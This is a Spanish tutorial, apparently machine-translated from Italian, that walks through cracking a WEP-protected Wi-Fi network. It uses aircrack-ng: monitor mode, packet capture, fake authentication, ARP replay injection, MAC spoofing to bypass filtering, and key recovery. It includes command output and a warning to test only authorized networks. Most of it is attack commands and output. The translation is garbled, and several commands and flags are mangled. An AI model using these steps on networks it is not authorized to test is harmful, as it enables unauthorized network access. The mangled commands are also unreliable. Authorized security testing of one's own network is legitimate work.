Como he prometido, después de haber mostrado cómo se pueden cargar los controladores de la red inalámbrica Intel Pro 2200BG adaptador , incluso con el parche para permitir la inyección de paquetes en esta guía le mostrará cómo hacer una verificación seguridad de su red inalámbrica. En particular, vamos a ver lo fácil y rápido acceso a una red inalámbrica segura con claves WEP. Obviamente todo lo que se expone en esta guía puede ser jugado exclusivamente en su red inalámbrica o en una red donde se nos permitió con anterioridad para verificar su seguridad. Y 'procedimiento penal, con las técnicas presentadas en las redes públicas o cuando no se nos permitía! Usted ha sido advertido!
Para llevar a cabo pruebas de penetración en la red inalámbrica necesitamos tener un sistema GNU / Linux instalado y funcionando, un adaptador de red inalámbrico facultada para efectuar la inyección de paquetes y, por último, el conocido software de aircrack-ng (posiblemente la versión más reciente disponible). Un aspecto muy importante es verificar que la tarjeta de red está habilitada para hacer que la inyección de paquetes. Esta última técnica consiste en el envío de un Punto de Acceso a la fuerza a algunos paquetes para obtener información necesaria para que, a continuación, obtener la clave WEP. Para comprobar si tu tarjeta soporta la inyección de paquetes y para saber cómo habilitarlo, se refieren a esta página . Así pues, si ha instalado una versión de aircrack mayor o igual a 1.0_beta ha instalado una herramienta para descargar e instalar la aprobación necesaria de los conductores de la inyección de paquetes para su tarjeta (llamando airdriver-ng), pero ... paso a paso.
Si usted no ha instalado aircrack-ng y tienes una distribución de Linux como Debian o Ubuntu proceder con la instalación de esta manera (después de iniciar sesión como root -> sudo-s para Ubuntu o Debian):
# Apt-get install aircrack-ng
Ahora tenemos que activar el modo promiscuo de la tarjeta de red inalámbrica. En mi ejemplo voy a referirme a mi adaptador de red con chipset Atheros (esta es una Proxim Orinoco PCMCIA de oro) que se identifica como wifi0. He aquí cómo funciona:
# Inicia el airmon-ng wifi0
Interface Chipset Driver
wifi0 Atheros madwifi-ng
eth2 Centrino b / g ipw2200
Atheros madwifi-ng wlan0 VAP (padre: wifi0)
ath0 Atheros madwifi-ng VAP (padre: wifi0) (modo monitor activado)
Como puede ver, el modo de monitor de comando airmon-ng ath0 habilitado en la tarjeta, creada sobre la marcha como una "relativa" de wifi0. No se dice que para que su tarjeta se crea sobre la marcha un nuevo dispositivo. Esto dependerá del conductor y la tarjeta de red en uso. Es importante que lea la tarjeta tiene el modo monitor "habilitado".
Cuando termine estamos listos para iniciar el analizador de paquetes para verificar si su punto de acceso activo y para obtener algunos datos básicos como dirección MAC (BSSID) del punto de acceso, transmite el canal y, por último, si hay otros equipos conectados a él. Esta información es esencial para realizar la inyección de paquetes!
A continuación nos dedicamos a realizar el comando a ejecutar y su salida:
# Airodump-ng ath0
[CH 11] [transcurrido: 4 s] [03/05/2008 17:39
BSSID PWR Beacons datos #, # / s CH MB AUTH CIPHER ENC ESSID
00: XX: XX: XX: XX: XX 22 6 0 0 6 48 WEP WEP TEST
ESTACIÓN BSSID PWR Rate Lost Packets Sondas
En mi caso sólo hay un punto de acceso que se llama TEST (ESSID), el MAC (BSSID) es, obviamente, a oscuras, cuyo canal de trabajo es de 6 y está protegido por WEP. Tampoco son otros equipos asociados a ella.
Una vez descubiertos estos datos podemos dejar de airodump-ng pulsando la secuencia de teclas CTRL + C. De hecho, desde este momento tenemos que especificar airodump para llevar a cabo la recopilación de datos sólo en el canal 6 (donde funciona nuestro AP) y que, por conveniencia, el nombre del archivo donde guardar los datos capturados. Haga lo siguiente:
# Airodump-ng-c 6-w ath0 file_di_cattura.ivs
En este punto, empezar a escuchar airodump-ng en un canal n Seis (6-c), y guardar todo en el archivo de captura "file_di_cattura.ivs.cap (-w). Se deja al terminal con airodump-ng y el acceso a otro terminal. En este último que tenemos que hacer una falsa autenticación al punto de acceso inalámbrico. ¿Qué significa? Debemos creer que el punto de acceso inalámbrico autentucati sobre él y está autorizado a utilizarla. Tenga cuidado porque en esta etapa si la dirección del punto de acceso MAC en la protección activa activado para poder utilizar, debemos tener un adaptador de red con MAC autorizadas. Cuando estamos utilizando la tarjeta no está autorizado a acceder a la AP, se puede habilitar en el punto de acceso desde el panel de administración, o bien, conocer la dirección MAC de un adaptador de red autorizada, podemos cambiar la dirección MAC de la tarjeta red que se utiliza para "atacar" el punto de acceso (por ejemplo, utilizando el software "macchanger). De modo que podemos proceder a la autenticación falsa con el siguiente comando:
# Aireplay-ng -1 0-e (ESSID - en mi caso de prueba)-b (punto de acceso MAC)-h (MAC de tarjeta de red) ath0 (o el nombre del dispositivo)
18:02:17 espera para el marco baliza (BSSID: XX: XX: XX: XX: XX: XX) en el canal 6
Solicitud 18:02:17 envío de autenticación (Open System) [REC]
18:02:17 autenticación exitosa
18:02:17 Solicitud de la Asociación de envío [ACK]
18:02:17 Asociación éxito 
Como puede ver, la salida del comando que nos dice que hemos puesto en marcha el ataque contra la falsa autenticación ha sido satisfactoria. En este punto tenemos que realizar la inyección de paquetes. Abrir una tercera terminal y escriba el siguiente comando:
# Aireplay-ng-3-b (punto de acceso MAC)-h (MAC de tarjeta de red) ath0 (o el nombre del dispositivo)
La salida de este comando es la siguiente:
18:07:23 espera para el marco baliza (BSSID: XX: XX: XX: XX: XX: XX) en el canal 6
Ahorro peticiones ARP en replay_arp-0503-180723.cap
Lo que también debería empezar a airodump-ng a las respuestas de la captura.
Leer 157 paquetes (tiene 0 peticiones ARP y ACK 0), 0 paquetes enviados ... (0 pps)
A propósito establecer una parte de la producción en negrita .. es que después de unos segundos (o minutos) requiere su atención. De hecho, verás que empezará a aumentar las peticiones ARP y esos son los datos que estamos recopilando a través terminale.Eccovi airodump abrir otro ejemplo de un aumento de los paquetes ARP:
18:07:23 espera para el marco baliza (BSSID: XX XX XX: XX: XX: XX) en el canal 6
Ahorro peticiones ARP en replay_arp-0503-180723.cap
Lo que también debería empezar a airodump-ng a las respuestas de la captura.
Leer 101922 paquetes (conseguido 54381 peticiones ARP y ACK 31849), ha enviado 49.287 paquetes ... (499 pps)
Después de haber recogido al menos 50.000 paquetes (collezionatene muchas más impresionante teniendo en cuenta la rapidez con que aumenta) están dispuestos a hacer el propio crack. Parar, entonces, es que el airodump arpreplay presionando ctrl + c en las dos terminales abiertos. Mover la terminal, donde se volvió airodump-ng y donde usted termina con una salida como ésta:
CH 6] [transcurrido: 11 minutos] [03/05/2008 18:13
BSSID PWR Beacons rxq fecha # # / 's CH MB ENC CIPHER AUTH ESSID
XX: XX: XX: XX: XX: XX 176 100 6474 1175 92 0 6 48 WEP WEP OPN TEST
ESTACIÓN BSSID PWR Rate Lost Packets Sondas
XX: XX: XX: XX: XX: XX: XX: XX: XX: XX: XX: XX 220 1.1 132 104 2928
Como habrá notado, Mel mi caso he recogido más de 110.000 paquetes de datos útiles para la toma de crack. Así que estoy listo para lanzar aircrack-ng como esto:
#-Ng Aircrack file_di_cattura.ivs.cap
Parecerá increíble, pero con poco más de 100.000 paquetes capturados se tarda menos de un segundo para identificar la clave de red:
Aircrack-ng 1.0 beta2
[00:00:00] Probado 808 teclas (tiene 117.588 IVs)
KB profundidad byte (votación)
0 0 / 1 en 2D (175 872) 72 (135.680) EE (132 352) 07 (130 304) AD (129.024) DF (129 024) 81 (128 768) 8C (128512) antes de Cristo (128.256) EB (128.000) 6C (127.744) 5C ( 127488)
1 22 / 1 CA (125 952) 57 (125 184) A6 (125.184) D6 (125184) 15 (124 672) 69 (124 672) 7B (124.672) E9 (124.672) P4 (124416) FD (124.416) 6C (124.160) E8 ( 124 160) 2 1 / 22 4D (132 352) C4 (131.328) C9 (130.048) 5A (129.280) 6D (129.280) 3E (129.024) D0 (129 024) 45 (127 744) DA (127 488) A2 (127232) 69 (126 976) CD (126 976) 3 0 / 2 E4 (163 328) A5 (131 072) 43 (130 560) 4A (129 792) 80 (128 768) BE (128 768) 41 (128256) D7 (128000) 79 (127 744) 9B (127.488) 7A ( 127 232) E8 (127 232) 4 38 / 4 ED (123.392) 4F (123 136) 68 (122 624) 84 (122.624) D9 (122.624) 5E (122 368) 88 (122 368) 1A (122 112) C0 (122.112) CE (122 112) 05 (121856) 59 (121856)
Clave que se encuentran! [XX: XX: XX: XX: XX: XX: XX: XX: XX: XX: XX: XX: XX]
Descifrado correctamente: 100%
Comentarios Recientes